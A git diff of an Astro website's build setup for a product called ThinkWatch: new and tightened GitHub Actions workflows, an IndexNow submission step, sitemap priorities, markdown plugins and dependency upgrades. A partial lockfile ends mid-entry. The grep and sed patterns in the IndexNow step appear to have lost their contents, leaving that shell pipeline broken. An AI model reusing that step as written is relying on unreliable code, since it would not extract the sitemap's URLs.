diff --git a/.github/workflows/check.yml b/.github/workflows/check.yml new file mode 100644 index 0000000..58fa6e8 --- /dev/null +++ b/.github/workflows/check.yml @@ -0,0 +1,45 @@ +name: Check + +# Builds the site for every pull request, the same way the deploy workflow does, +# so that a change that breaks the build (a share-image headline that no longer +# fits, a page that fails to render) shows up before it reaches main. + +on: + pull_request: + branches: [main] + +permissions: + contents: read + +concurrency: + group: check-${{ github.ref }} + cancel-in-progress: true + +jobs: + build: + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + # The sitemap's and the dates on doc pages come from git history. + fetch-depth: 0 + + # The pnpm version comes from package.json's packageManager, the same one + # a local `pnpm` switches to + - name: Setup pnpm + uses: pnpm/action-setup@v4 + + - name: Setup Node + uses: actions/setup-node@v4 + with: + node-version: 22 + cache: pnpm + + - name: Install dependencies + run: pnpm install --frozen-lockfile + + - name: Build site + run: pnpm build + env: + GITHUB_TOKEN: ${{ github.token }} diff --git a/.github/workflows/deploy.yml b/.github/workflows/deploy.yml index bc087f7..5643998 100644 --- a/.github/workflows/deploy.yml +++ b/.github/workflows/deploy.yml @@ -4,11 +4,16 @@ on: push: branches: [main] workflow_dispatch: + # Lite 页面上的下载按钮指向构建时查到的那一版安装包。Lite 发了新版之后, + # 不重新构建的话按钮会一直指着旧版本 —— 旧版照样能装、装上会自己更新, + # 但没理由让它停在那里。定时重建一次,最多晚三个小时跟上。 + schedule: + - cron: "41 */3 * * *" -permissions: - contents: read - pages: write - id-token: write +# Each job gets only what it needs (below). The build runs third-party code from +# npm with GITHUB_TOKEN in its environment, so it may only read; the Pages +# permissions belong to the deploy job alone. +permissions: {} concurrency: group: pages @@ -17,14 +22,20 @@ concurrency: jobs: build: runs-on: ubuntu-latest + permissions: + contents: read steps: - name: Checkout uses: actions/checkout@v4 + with: + # The sitemap's and the dates on doc pages come from git + # history; a shallow clone would leave them out. + fetch-depth: 0 + # The pnpm version comes from package.json's packageManager, the same one + # a local `pnpm` switches to - name: Setup pnpm uses: pnpm/action-setup@v4 - with: - version: 10 - name: Setup Node uses: actions/setup-node@v4 @@ -37,6 +48,10 @@ jobs: - name: Build site run: pnpm build + env: + # The build reads versions and releases from the GitHub API; with a + # token the anonymous rate limit does not apply. + GITHUB_TOKEN: ${{ github.token }} - name: Upload artifact uses: actions/upload-pages-artifact@v3 @@ -46,6 +61,9 @@ jobs: deploy: needs: build runs-on: ubuntu-latest + permissions: + pages: write # to deploy to GitHub Pages + id-token: write # to verify that the deployment comes from this workflow environment: name: github-pages url: ${{ steps.deployment.outputs.page_url }} @@ -53,3 +71,30 @@ jobs: - name: Deploy to GitHub Pages id: deployment uses: actions/deploy-pages@v4 + + # Tells the search engines that take IndexNow (Bing, which ChatGPT search + # and Copilot also use, Yandex and others) every address in the sitemap, + # so new and changed pages are crawled soon after a deploy. The key file + # in public/ shows the site is ours. Only for a push or a manual run: + # the scheduled rebuild every three hours would resubmit unchanged pages. + # A failed notification does not fail the deploy. + - name: Notify IndexNow + if: github.event_name != 'schedule' + continue-on-error: true + env: + INDEXNOW_KEY: f7c3fcca3acfc15fb46eca5e1fbde518 + run: | + set -euo pipefail + curl -fsSL https://thinkwat.ch/sitemap-0.xml \ + | grep -o '[^<]*' | sed -e 's///' -e 's|||' > urls.txt + echo "$(wc -l < urls.txt) addresses" + python3 - <<'PY' + import json, os + urls = [u.strip() for u in open("urls.txt") if u.strip()] + key = os.environ["INDEXNOW_KEY"] + json.dump({"host": "thinkwat.ch", "key": key, + "keyLocation": f"https://thinkwat.ch/{key}.txt", "urlList": urls}, + open("indexnow.json", "w")) + PY + curl -fsS -o /dev/null -w "IndexNow answered %{http_code}\n" -X POST https://api.indexnow.org/indexnow \ + -H "Content-Type: application/json; charset=utf-8" --data @indexnow.json diff --git a/astro.config.mjs b/astro.config.mjs index fdfd6d1..9ad440a 100644 --- a/astro.config.mjs +++ b/astro.config.mjs @@ -1,12 +1,43 @@ // @ts-check import { defineConfig } from 'astro/config'; import react from '@astrojs/react'; -import sitemap from '@astrojs/sitemap'; +import sitemap, { ChangeFreqEnum } from '@astrojs/sitemap'; import tailwindcss from '@tailwindcss/vite'; +import rehypeSlug from 'rehype-slug'; +import rehypeAutolinkHeadings from 'rehype-autolink-headings'; +import { lastModified, pageReleases, pageSources } from './src/lib/lastmod.ts'; +import { getReleases } from './src/lib/github.ts'; + +/** + * Wraps every markdown table in a container that scrolls sideways. The page + * clips horizontal overflow (global.css), so a table wider than a phone screen + * would otherwise be cut off rather than scroll. + */ +function rehypeScrollingTables() { + /** @param {any} node */ + const visit = (node) => { + if (!Array.isArray(node.children)) return; + node.children = node.children.map((/** @type {any} */ child) => { + if (child.type === 'element' && child.tagName === 'table') { + // Focusable, like the code blocks, so that it can be scrolled from the keyboard. + return { type: 'element', tagName: 'div', properties: { className: ['table-scroll'], tabIndex: 0 }, children: [child] }; + } + visit(child); + return child; + }); + }; + return (/** @type {any} */ tree) => visit(tree); +} // https://astro.build/config export default defineConfig({ site: 'https://thinkwat.ch', + // Pages that moved. GitHub Pages cannot answer with a redirect, so each old + // address is built as a page that sends the browser on (and is not indexed). + redirects: { + '/license': '/pricing', + '/zh-CN/license': '/zh-CN/pricing', + }, i18n: { defaultLocale: 'en', locales: ['en', 'zh-CN'], @@ -14,9 +45,104 @@ export default defineConfig({ prefixDefaultLocale: false, }, }, - integrations: [react(), sitemap({ i18n: { defaultLocale: 'en', locales: { en: 'en', 'zh-CN': 'zh-CN' } } })], + integrations: [ + react(), + sitemap({ + i18n: { + defaultLocale: 'en', + locales: { en: 'en', 'zh-CN': 'zh-CN' }, + }, + // The import page only reads the parameters of a link; it has nothing to index. + filter: (page) => !page.includes('/404') && !/\/(zh-CN\/)?import\/?$/.test(new URL(page).pathname), + async serialize(item) { + const url = new URL(item.url); + const pathname = url.pathname.replace(/\/$/, '') || '/'; + const isHome = pathname === '/' || pathname === '/zh-CN'; + const isDoc = pathname.startsWith('/docs/') || pathname.startsWith('/zh-CN/docs/'); + const isDocsIndex = pathname === '/docs' || pathname === '/zh-CN/docs'; + const isChangelog = pathname === '/changelog' || pathname === '/zh-CN/changelog'; + // Product landing pages: ThinkWatch, ThinkWatch Lite, ThinkWatch Core. + const productPaths = ['/thinkwatch', '/lite', '/core']; + const isProduct = productPaths.some((p) => pathname === p || pathname === `/zh-CN${p}`); + const isPricing = pathname === '/pricing' || pathname === '/zh-CN/pricing'; + + if (isHome) { + item.priority = 1.0; + item.changefreq = ChangeFreqEnum.WEEKLY; + } else if (isProduct) { + item.priority = 0.9; + item.changefreq = ChangeFreqEnum.WEEKLY; + } else if (isDocsIndex) { + item.priority = 0.9; + item.changefreq = ChangeFreqEnum.WEEKLY; + } else if (isDoc) { + // Includes the product doc sets under /docs/lite/ and /docs/core/. + item.priority = 0.8; + item.changefreq = ChangeFreqEnum.MONTHLY; + } else if (isChangelog) { + item.priority = 0.7; + item.changefreq = ChangeFreqEnum.WEEKLY; + } else if (isPricing) { + item.priority = 0.6; + item.changefreq = ChangeFreqEnum.MONTHLY; + } else { + item.priority = 0.5; + item.changefreq = ChangeFreqEnum.MONTHLY; + } + + // When the page's own files last changed in git, or the latest release + // of a product the page shows came out, whichever is later. Left out + // without git history: a release date alone does not say when the + // page itself last changed. + const committed = lastModified(pageSources(pathname)); + if (committed) { + let latest = Date.parse(committed); + const products = pageReleases(pathname); + if (products.length) { + // Newest first: the first match is the latest release among them. + const release = (await getReleases()).find((r) => products.includes(r.product)); + if (release) latest = Math.max(latest, Date.parse(release.date)); + } + item.lastmod = new Date(latest).toISOString(); + } + return item; + }, + }), + ], + markdown: { + shikiConfig: { + theme: 'github-dark-default', + wrap: false, + }, + rehypePlugins: [ + rehypeScrollingTables, + rehypeSlug, + [ + rehypeAutolinkHeadings, + { + behavior: 'append', + properties: { + className: ['heading-anchor'], + ariaLabel: 'Link to this section', + }, + content: { + type: 'text', + value: '#', + }, + }, + ], + ], + }, vite: { plugins: [tailwindcss()], + build: { + // Font files are always emitted as files (src/components/Fonts.astro). + // Vite would otherwise inline those under 4 KB, the smaller Unicode + // subsets of Geist, into the stylesheet as base64, and every page would + // download subsets it never uses before its first paint. Anything else + // keeps the default limit. + assetsInlineLimit: (file) => (/\.woff2?$/.test(file) ? false : undefined), + }, }, build: { inlineStylesheets: 'auto', diff --git a/package.json b/package.json index 968fac9..6f9cd71 100644 --- a/package.json +++ b/package.json @@ -6,32 +6,42 @@ "scripts": { "dev": "astro dev", "start": "astro dev", - "prebuild": "node scripts/generate-og.mjs && node scripts/generate-favicons.mjs", - "build": "astro build", + "prebuild": "node scripts/generate-favicons.mjs", + "build": "astro build && pnpm run pagefind", + "pagefind": "pagefind --site dist --output-path dist/pagefind", "preview": "astro preview", - "og": "node scripts/generate-og.mjs", + "releases": "node scripts/update-releases.mjs", + "core-docs": "node scripts/update-core-docs.mjs", "favicons": "node scripts/generate-favicons.mjs", "astro": "astro" }, "dependencies": { - "@astrojs/react": "^4.2.0", + "@astrojs/react": "^5.0.2", "@astrojs/rss": "^4.0.10", "@astrojs/sitemap": "^3.2.1", "@react-three/drei": "^10.7.7", "@react-three/fiber": "^9.5.0", "@tailwindcss/vite": "^4.0.0", - "astro": "^5.1.0", + "astro": "^6.1.3", "react": "^19.0.0", "react-dom": "^19.0.0", "tailwindcss": "^4.0.0", "three": "^0.183.2" }, "devDependencies": { + "@fontsource/geist": "^5.3.0", + "@fontsource/geist-mono": "^5.3.0", + "@types/fontkit": "^2.0.9", "@types/react": "^19.0.0", "@types/react-dom": "^19.0.0", "@types/three": "^0.183.1", + "fontkit": "^2.0.4", + "pagefind": "^1.5.0", + "rehype-autolink-headings": "^7.1.0", + "rehype-slug": "^6.0.0", "sharp": "^0.34.5", "shiki": "^4.0.2", "typescript": "^5.7.0" - } + }, + "packageManager": "pnpm@10.34.6" } diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index b7f2e00..e2f63c7 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -9,8 +9,8 @@ importers: .: dependencies: '@astrojs/react': - specifier: ^4.2.0 - version: 4.4.2(@types/node@24.12.2)(@types/react-dom@19.2.3(@types/react@19.2.14))(@types/react@19.2.14)(jiti@2.6.1)(lightningcss@1.32.0)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) + specifier: ^5.0.2 + version: 5.0.2(@types/node@24.12.2)(@types/react-dom@19.2.3(@types/react@19.2.14))(@types/react@19.2.14)(jiti@2.6.1)(lightningcss@1.32.0)(react-dom@19.2.4(react@19.2.4))(react@19.2.4) '@astrojs/rss': specifier: ^4.0.10 version: 4.0.18 @@ -25,10 +25,10 @@ importers: version: 9.5.0(@types/react@19.2.14)(react-dom@19.2.4(react@19.2.4))(react@19.2.4)(three@0.183.2) '@tailwindcss/vite': specifier: ^4.0.0 - version: 4.2.2(vite@6.4.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0)) + version: 4.2.2(vite@7.3.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0)) astro: - specifier: ^5.1.0 - version: 5.18.1(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0)(rollup@4.60.1)(typescript@5.9.3) + specifier: ^6.1.3 + version: 6.1.3(@types/node@24.12.2)(jiti@2.6.1)(lightningcss@1.32.0)(rollup@4.60.1)(typescript@5.9.3) react: specifier: ^19.0.0 version: 19.2.4 @@ -42,6 +42,15 @@ importers: specifier: ^0.183.2 version: 0.183.2 devDependencies: + '@fontsource/geist': + specifier: ^5.3.0 + version: 5.3.0 + '@fontsource/geist-mono': + specifier: ^5.3.0 + version: 5.3.0 + '@types/fontkit': + specifier: ^2.0.9 + version: 2.0.9 '@types/react': specifier: ^19.0.0 version: 19.2.14 @@ -51,6 +60,18 @@ importers: '@types/three': specifier: ^0.183.1 version: 0.183.1 + fontkit: + specifier: ^2.0.4 + version: 2.0.4 + pagefind: + specifier: ^1.5.0 + version: 1.5.0 + rehype-autolink-headings: + specifier: ^7.1.0 + version: 7.1.0 + rehype-slug: + specifier: ^6.0.0 + version: 6.0.0 sharp: specifier: ^0.34.5 version: 0.34.5 @@ -63,22 +84,22 @@ importers: packages: - '@astrojs/compiler@2.13.1': - resolution: {integrity: sha512-f3FN83d2G/v32ipNClRKgYv30onQlMZX1vCeZMjPsMMPl1mDpmbl0+N5BYo4S/ofzqJyS5hvwacEo0CCVDn/Qg==} + '@astrojs/compiler@3.0.1': + resolution: {integrity: sha512-z97oYbdebO5aoWzuJ/8q5hLK232+17KcLZ7cJ8BCWk6+qNzVxn/gftC0KzMBUTD8WAaBkPpNSQK6PXLnNrZ0CA==} - '@astrojs/internal-helpers@0.7.6': - resolution: {integrity: sha512-GOle7smBWKfMSP8osUIGOlB5kaHdQLV3foCsf+5Q9Wsuu+C6Fs3Ez/ttXmhjZ1HkSgsogcM1RXSjjOVieHq16Q==} + '@astrojs/internal-helpers@0.8.0': + resolution: {integrity: sha512-J56GrhEiV+4dmrGLPNOl2pZjpHXAndWVyiVDYGDuw6MWKpBSEMLdFxHzeM/6sqaknw9M+HFfHZAcvi3OfT3D/w==} - '@astrojs/markdown-remark@6.3.11': - resolution: {integrity: sha512-hcaxX/5aC6lQgHeGh1i+aauvSwIT6cfyFjKWvExYSxUhZZBBdvCliOtu06gbQyhbe0pGJNoNmqNlQZ5zYUuIyQ==} + '@astrojs/markdown-remark@7.1.0': + resolution: {integrity: sha512-P+HnCsu2js3BoTc8kFmu+E9gOcFeMdPris75g+Zl4sY8+bBRbSQV6xzcBDbZ27eE7yBGEGQoqjpChx+KJYIPYQ==} - '@astrojs/prism@3.3.0': - resolution: {integrity: sha512-q8VwfU/fDZNoDOf+r7jUnMC2//H2l0TuQ6FkGJL8vD8nw/q5KiL3DS1KKBI3QhI9UQhpJ5dc7AtqfbXWuOgLCQ==} - engines: {node: 18.20.8 || ^20.3.0 || >=22.0.0} + '@astrojs/prism@4.0.1': + resolution: {integrity: sha512-nksZQVjlferuWzhPsBpQ1JE5XuKAf1id1/9Hj4a9KG4+ofrlzxUUwX4YGQF/SuDiuiGKEnzopGOt38F3AnVWsQ==} + engines: {node: '>=22.12.0'} - '@astrojs/react@4.4.2': - resolution: {integrity: sha512-1tl95bpGfuaDMDn8O3x/5Dxii1HPvzjvpL2YTuqOOrQehs60I2DKiDgh1jrKc7G8lv+LQT5H15V6QONQ+9waeQ==} - engines: {node: 18.20.8 || ^20.3.0 || >=22.0.0} + '@astrojs/react@5.0.2': + resolution: {integrity: sha512-BDpPrapV3Wgp9sD7aTMvP+ORH0jFEue9OmkBu98KcBbTlsQCnvisDW3m7PQrMptXwEDlX5HGfP/CHmkEVY2tZA==} + engines: {node: '>=22.12.0'} peerDependencies: '@types/react': ^17.0.50 || ^18.0.21 || ^19.0.0 '@types/react-dom': ^17.0.17 || ^18.0.6 || ^19.0.0 @@ -186,324 +207,180 @@ packages: resolution: {integrity: sha512-VERIM64vtTP1C4mxQ5thVT9fK0apjPFobqybMtA1UdUujWka24ERHbRHFGmpbbhp73MhV+KSsHQH9C6uOTdEQA==} engines: {node: '>=18'} + '@clack/core@1.2.0': + resolution: {integrity: sha512-qfxof/3T3t9DPU/Rj3OmcFyZInceqj/NVtO9rwIuJqCUgh32gwPjpFQQp/ben07qKlhpwq7GzfWpST4qdJ5Drg==} + + '@clack/prompts@1.2.0': + resolution: {integrity: sha512-4jmztR9fMqPMjz6H/UZXj0zEmE43ha1euENwkckKKel4XpSfokExPo5AiVStdHSAlHekz4d0CA/r45Ok1E4D3w==} + '@dimforge/rapier3d-compat@0.12.0': resolution: {integrity: sha512-uekIGetywIgopfD97oDL5PfeezkFpNhwlzlaEYNOA0N6ghdsOvh/HYjSMek5Q2O1PYvRSDFcqFVJl4r4ZBwOow==} '@emnapi/runtime@1.9.2': resolution: {integrity: sha512-3U4+MIWHImeyu1wnmVygh5WlgfYDtyf0k8AbLhMFxOipihf6nrWC4syIm/SwEeec0mNSafiiNnMJwbza/Is6Lw==} - '@esbuild/aix-ppc64@0.25.12': - resolution: {integrity: sha512-Hhmwd6CInZ3dwpuGTF8fJG6yoWmsToE+vYgD4nytZVxcu1ulHpUQRAB1UJ8+N1Am3Mz4+xOByoQoSZf4D+CpkA==} - engines: {node: '>=18'} - cpu: [ppc64] - os: [aix] - '@esbuild/aix-ppc64@0.27.7': resolution: {integrity: sha512-EKX3Qwmhz1eMdEJokhALr0YiD0lhQNwDqkPYyPhiSwKrh7/4KRjQc04sZ8db+5DVVnZ1LmbNDI1uAMPEUBnQPg==} engines: {node: '>=18'} cpu: [ppc64] os: [aix] - '@esbuild/android-arm64@0.25.12': - resolution: {integrity: sha512-6AAmLG7zwD1Z159jCKPvAxZd4y/VTO0VkprYy+3N2FtJ8+BQWFXU+OxARIwA46c5tdD9SsKGZ/1ocqBS/gAKHg==} - engines: {node: '>=18'} - cpu: [arm64] - os: [android] - '@esbuild/android-arm64@0.27.7': resolution: {integrity: sha512-62dPZHpIXzvChfvfLJow3q5dDtiNMkwiRzPylSCfriLvZeq0a1bWChrGx/BbUbPwOrsWKMn8idSllklzBy+dgQ==} engines: {node: '>=18'} cpu: [arm64] os: [android] - '@esbuild/android-arm@0.25.12': - resolution: {integrity: sha512-VJ+sKvNA/GE7Ccacc9Cha7bpS8nyzVv0jdVgwNDaR4gDMC/2TTRc33Ip8qrNYUcpkOHUT5OZ0bUcNNVZQ9RLlg==} - engines: {node: '>=18'} - cpu: [arm] - os: [android] - '@esbuild/android-arm@0.27.7': resolution: {integrity: sha512-jbPXvB4Yj2yBV7HUfE2KHe4GJX51QplCN1pGbYjvsyCZbQmies29EoJbkEc+vYuU5o45AfQn37vZlyXy4YJ8RQ==} engines: {node: '>=18'} cpu: [arm] os: [android] - '@esbuild/android-x64@0.25.12': - resolution: {integrity: sha512-5jbb+2hhDHx5phYR2By8GTWEzn6I9UqR11Kwf22iKbNpYrsmRB18aX/9ivc5cabcUiAT/wM+YIZ6SG9QO6a8kg==} - engines: {node: '>=18'} - cpu: [x64] - os: [android] - '@esbuild/android-x64@0.27.7': resolution: {integrity: sha512-x5VpMODneVDb70PYV2VQOmIUUiBtY3D3mPBG8NxVk5CogneYhkR7MmM3yR/uMdITLrC1ml/NV1rj4bMJuy9MCg==} engines: {node: '>=18'} cpu: [x64] os: [android] - '@esbuild/darwin-arm64@0.25.12': - resolution: {integrity: sha512-N3zl+lxHCifgIlcMUP5016ESkeQjLj/959RxxNYIthIg+CQHInujFuXeWbWMgnTo4cp5XVHqFPmpyu9J65C1Yg==} - engines: {node: '>=18'} - cpu: [arm64] - os: [darwin] - '@esbuild/darwin-arm64@0.27.7': resolution: {integrity: sha512-5lckdqeuBPlKUwvoCXIgI2D9/ABmPq3Rdp7IfL70393YgaASt7tbju3Ac+ePVi3KDH6N2RqePfHnXkaDtY9fkw==} engines: {node: '>=18'} cpu: [arm64] os: [darwin] - '@esbuild/darwin-x64@0.25.12': - resolution: {integrity: sha512-HQ9ka4Kx21qHXwtlTUVbKJOAnmG1ipXhdWTmNXiPzPfWKpXqASVcWdnf2bnL73wgjNrFXAa3yYvBSd9pzfEIpA==} - engines: {node: '>=18'} - cpu: [x64] - os: [darwin] - '@esbuild/darwin-x64@0.27.7': resolution: {integrity: sha512-rYnXrKcXuT7Z+WL5K980jVFdvVKhCHhUwid+dDYQpH+qu+TefcomiMAJpIiC2EM3Rjtq0sO3StMV/+3w3MyyqQ==} engines: {node: '>=18'} cpu: [x64] os: [darwin] - '@esbuild/freebsd-arm64@0.25.12': - resolution: {integrity: sha512-gA0Bx759+7Jve03K1S0vkOu5Lg/85dou3EseOGUes8flVOGxbhDDh/iZaoek11Y8mtyKPGF3vP8XhnkDEAmzeg==} - engines: {node: '>=18'} - cpu: [arm64] - os: [freebsd] - '@esbuild/freebsd-arm64@0.27.7': resolution: {integrity: sha512-B48PqeCsEgOtzME2GbNM2roU29AMTuOIN91dsMO30t+Ydis3z/3Ngoj5hhnsOSSwNzS+6JppqWsuhTp6E82l2w==} engines: {node: '>=18'} cpu: [arm64] os: [freebsd] - '@esbuild/freebsd-x64@0.25.12': - resolution: {integrity: sha512-TGbO26Yw2xsHzxtbVFGEXBFH0FRAP7gtcPE7P5yP7wGy7cXK2oO7RyOhL5NLiqTlBh47XhmIUXuGciXEqYFfBQ==} - engines: {node: '>=18'} - cpu: [x64] - os: [freebsd] - '@esbuild/freebsd-x64@0.27.7': resolution: {integrity: sha512-jOBDK5XEjA4m5IJK3bpAQF9/Lelu/Z9ZcdhTRLf4cajlB+8VEhFFRjWgfy3M1O4rO2GQ/b2dLwCUGpiF/eATNQ==} engines: {node: '>=18'} cpu: [x64] os: [freebsd] - '@esbuild/linux-arm64@0.25.12': - resolution: {integrity: sha512-8bwX7a8FghIgrupcxb4aUmYDLp8pX06rGh5HqDT7bB+8Rdells6mHvrFHHW2JAOPZUbnjUpKTLg6ECyzvas2AQ==} - engines: {node: '>=18'} - cpu: [arm64] - os: [linux] - '@esbuild/linux-arm64@0.27.7': resolution: {integrity: sha512-RZPHBoxXuNnPQO9rvjh5jdkRmVizktkT7TCDkDmQ0W2SwHInKCAV95GRuvdSvA7w4VMwfCjUiPwDi0ZO6Nfe9A==} engines: {node: '>=18'} cpu: [arm64] os: [linux] - '@esbuild/linux-arm@0.25.12': - resolution: {integrity: sha512-lPDGyC1JPDou8kGcywY0YILzWlhhnRjdof3UlcoqYmS9El818LLfJJc3PXXgZHrHCAKs/Z2SeZtDJr5MrkxtOw==} - engines: {node: '>=18'} - cpu: [arm] - os: [linux] - '@esbuild/linux-arm@0.27.7': resolution: {integrity: sha512-RkT/YXYBTSULo3+af8Ib0ykH8u2MBh57o7q/DAs3lTJlyVQkgQvlrPTnjIzzRPQyavxtPtfg0EopvDyIt0j1rA==} engines: {node: '>=18'} cpu: [arm] os: [linux] - '@esbuild/linux-ia32@0.25.12': - resolution: {integrity: sha512-0y9KrdVnbMM2/vG8KfU0byhUN+EFCny9+8g202gYqSSVMonbsCfLjUO+rCci7pM0WBEtz+oK/PIwHkzxkyharA==} - engines: {node: '>=18'} - cpu: [ia32] - os: [linux] - '@esbuild/linux-ia32@0.27.7': resolution: {integrity: sha512-GA48aKNkyQDbd3KtkplYWT102C5sn/EZTY4XROkxONgruHPU72l+gW+FfF8tf2cFjeHaRbWpOYa/uRBz/Xq1Pg==} engines: {node: '>=18'} cpu: [ia32] os: [linux] - '@esbuild/linux-loong64@0.25.12': - resolution: {integrity: sha512-h///Lr5a9rib/v1GGqXVGzjL4TMvVTv+s1DPoxQdz7l/AYv6LDSxdIwzxkrPW438oUXiDtwM10o9PmwS/6Z0Ng==} - engines: {node: '>=18'} - cpu: [loong64] - os: [linux] - '@esbuild/linux-loong64@0.27.7': resolution: {integrity: sha512-a4POruNM2oWsD4WKvBSEKGIiWQF8fZOAsycHOt6JBpZ+JN2n2JH9WAv56SOyu9X5IqAjqSIPTaJkqN8F7XOQ5Q==} engines: {node: '>=18'} cpu: [loong64] os: [linux] - '@esbuild/linux-mips64el@0.25.12': - resolution: {integrity: sha512-iyRrM1Pzy9GFMDLsXn1iHUm18nhKnNMWscjmp4+hpafcZjrr2WbT//d20xaGljXDBYHqRcl8HnxbX6uaA/eGVw==} - engines: {node: '>=18'} - cpu: [mips64el] - os: [linux] - '@esbuild/linux-mips64el@0.27.7': resolution: {integrity: sha512-KabT5I6StirGfIz0FMgl1I+R1H73Gp0ofL9A3nG3i/cYFJzKHhouBV5VWK1CSgKvVaG4q1RNpCTR2LuTVB3fIw==} engines: {node: '>=18'} cpu: [mips64el] os: [linux] - '@esbuild/linux-ppc64@0.25.12': - resolution: {integrity: sha512-9meM/lRXxMi5PSUqEXRCtVjEZBGwB7P/D4yT8UG/mwIdze2aV4Vo6U5gD3+RsoHXKkHCfSxZKzmDssVlRj1QQA==} - engines: {node: '>=18'} - cpu: [ppc64] - os: [linux] - '@esbuild/linux-ppc64@0.27.7': resolution: {integrity: sha512-gRsL4x6wsGHGRqhtI+ifpN/vpOFTQtnbsupUF5R5YTAg+y/lKelYR1hXbnBdzDjGbMYjVJLJTd2OFmMewAgwlQ==} engines: {node: '>=18'} cpu: [ppc64] os: [linux] - '@esbuild/linux-riscv64@0.25.12': - resolution: {integrity: sha512-Zr7KR4hgKUpWAwb1f3o5ygT04MzqVrGEGXGLnj15YQDJErYu/BGg+wmFlIDOdJp0PmB0lLvxFIOXZgFRrdjR0w==} - engines: {node: '>=18'} - cpu: [riscv64] - os: [linux] - '@esbuild/linux-riscv64@0.27.7': resolution: {integrity: sha512-hL25LbxO1QOngGzu2U5xeXtxXcW+/GvMN3ejANqXkxZ/opySAZMrc+9LY/WyjAan41unrR3YrmtTsUpwT66InQ==} engines: {node: '>=18'} cpu: [riscv64] os: [linux] - '@esbuild/linux-s390x@0.25.12': - resolution: {integrity: sha512-MsKncOcgTNvdtiISc/jZs/Zf8d0cl/t3gYWX8J9ubBnVOwlk65UIEEvgBORTiljloIWnBzLs4qhzPkJcitIzIg==} - engines: {node: '>=18'} - cpu: [s390x] - os: [linux] - '@esbuild/linux-s390x@0.27.7': resolution: {integrity: sha512-2k8go8Ycu1Kb46vEelhu1vqEP+UeRVj2zY1pSuPdgvbd5ykAw82Lrro28vXUrRmzEsUV0NzCf54yARIK8r0fdw==} engines: {node: '>=18'} cpu: [s390x] os: [linux] - '@esbuild/linux-x64@0.25.12': - resolution: {integrity: sha512-uqZMTLr/zR/ed4jIGnwSLkaHmPjOjJvnm6TVVitAa08SLS9Z0VM8wIRx7gWbJB5/J54YuIMInDquWyYvQLZkgw==} - engines: {node: '>=18'} - cpu: [x64] - os: [linux] - '@esbuild/linux-x64@0.27.7': resolution: {integrity: sha512-hzznmADPt+OmsYzw1EE33ccA+HPdIqiCRq7cQeL1Jlq2gb1+OyWBkMCrYGBJ+sxVzve2ZJEVeePbLM2iEIZSxA==} engines: {node: '>=18'} cpu: [x64] os: [linux] - '@esbuild/netbsd-arm64@0.25.12': - resolution: {integrity: sha512-xXwcTq4GhRM7J9A8Gv5boanHhRa/Q9KLVmcyXHCTaM4wKfIpWkdXiMog/KsnxzJ0A1+nD+zoecuzqPmCRyBGjg==} - engines: {node: '>=18'} - cpu: [arm64] - os: [netbsd] - '@esbuild/netbsd-arm64@0.27.7': resolution: {integrity: sha512-b6pqtrQdigZBwZxAn1UpazEisvwaIDvdbMbmrly7cDTMFnw/+3lVxxCTGOrkPVnsYIosJJXAsILG9XcQS+Yu6w==} engines: {node: '>=18'} cpu: [arm64] os: [netbsd] - '@esbuild/netbsd-x64@0.25.12': - resolution: {integrity: sha512-Ld5pTlzPy3YwGec4OuHh1aCVCRvOXdH8DgRjfDy/oumVovmuSzWfnSJg+VtakB9Cm0gxNO9BzWkj6mtO1FMXkQ==} - engines: {node: '>=18'} - cpu: [x64] - os: [netbsd] - '@esbuild/netbsd-x64@0.27.7': resolution: {integrity: sha512-OfatkLojr6U+WN5EDYuoQhtM+1xco+/6FSzJJnuWiUw5eVcicbyK3dq5EeV/QHT1uy6GoDhGbFpprUiHUYggrw==} engines: {node: '>=18'} cpu: [x64] os: [netbsd] - '@esbuild/openbsd-arm64@0.25.12': - resolution: {integrity: sha512-fF96T6KsBo/pkQI950FARU9apGNTSlZGsv1jZBAlcLL1MLjLNIWPBkj5NlSz8aAzYKg+eNqknrUJ24QBybeR5A==} - engines: {node: '>=18'} - cpu: [arm64] - os: [openbsd] - '@esbuild/openbsd-arm64@0.27.7': resolution: {integrity: sha512-AFuojMQTxAz75Fo8idVcqoQWEHIXFRbOc1TrVcFSgCZtQfSdc1RXgB3tjOn/krRHENUB4j00bfGjyl2mJrU37A==} engines: {node: '>=18'} cpu: [arm64] os: [openbsd] - '@esbuild/openbsd-x64@0.25.12': - resolution: {integrity: sha512-MZyXUkZHjQxUvzK7rN8DJ3SRmrVrke8ZyRusHlP+kuwqTcfWLyqMOE3sScPPyeIXN/mDJIfGXvcMqCgYKekoQw==} - engines: {node: '>=18'} - cpu: [x64] - os: [openbsd] - '@esbuild/openbsd-x64@0.27.7': resolution: {integrity: sha512-+A1NJmfM8WNDv5CLVQYJ5PshuRm/4cI6WMZRg1by1GwPIQPCTs1GLEUHwiiQGT5zDdyLiRM/l1G0Pv54gvtKIg==} engines: {node: '>=18'} cpu: [x64] os: [openbsd] - '@esbuild/openharmony-arm64@0.25.12': - resolution: {integrity: sha512-rm0YWsqUSRrjncSXGA7Zv78Nbnw4XL6/dzr20cyrQf7ZmRcsovpcRBdhD43Nuk3y7XIoW2OxMVvwuRvk9XdASg==} - engines: {node: '>=18'} - cpu: [arm64] - os: [openharmony] - '@esbuild/openharmony-arm64@0.27.7': resolution: {integrity: sha512-+KrvYb/C8zA9CU/g0sR6w2RBw7IGc5J2BPnc3dYc5VJxHCSF1yNMxTV5LQ7GuKteQXZtspjFbiuW5/dOj7H4Yw==} engines: {node: '>=18'} cpu: [arm64] os: [openharmony] - '@esbuild/sunos-x64@0.25.12': - resolution: {integrity: sha512-3wGSCDyuTHQUzt0nV7bocDy72r2lI33QL3gkDNGkod22EsYl04sMf0qLb8luNKTOmgF/eDEDP5BFNwoBKH441w==} - engines: {node: '>=18'} - cpu: [x64] - os: [sunos] - '@esbuild/sunos-x64@0.27.7': resolution: {integrity: sha512-ikktIhFBzQNt/QDyOL580ti9+5mL/YZeUPKU2ivGtGjdTYoqz6jObj6nOMfhASpS4GU4Q/Clh1QtxWAvcYKamA==} engines: {node: '>=18'} cpu: [x64] os: [sunos] - '@esbuild/win32-arm64@0.25.12': - resolution: {integrity: 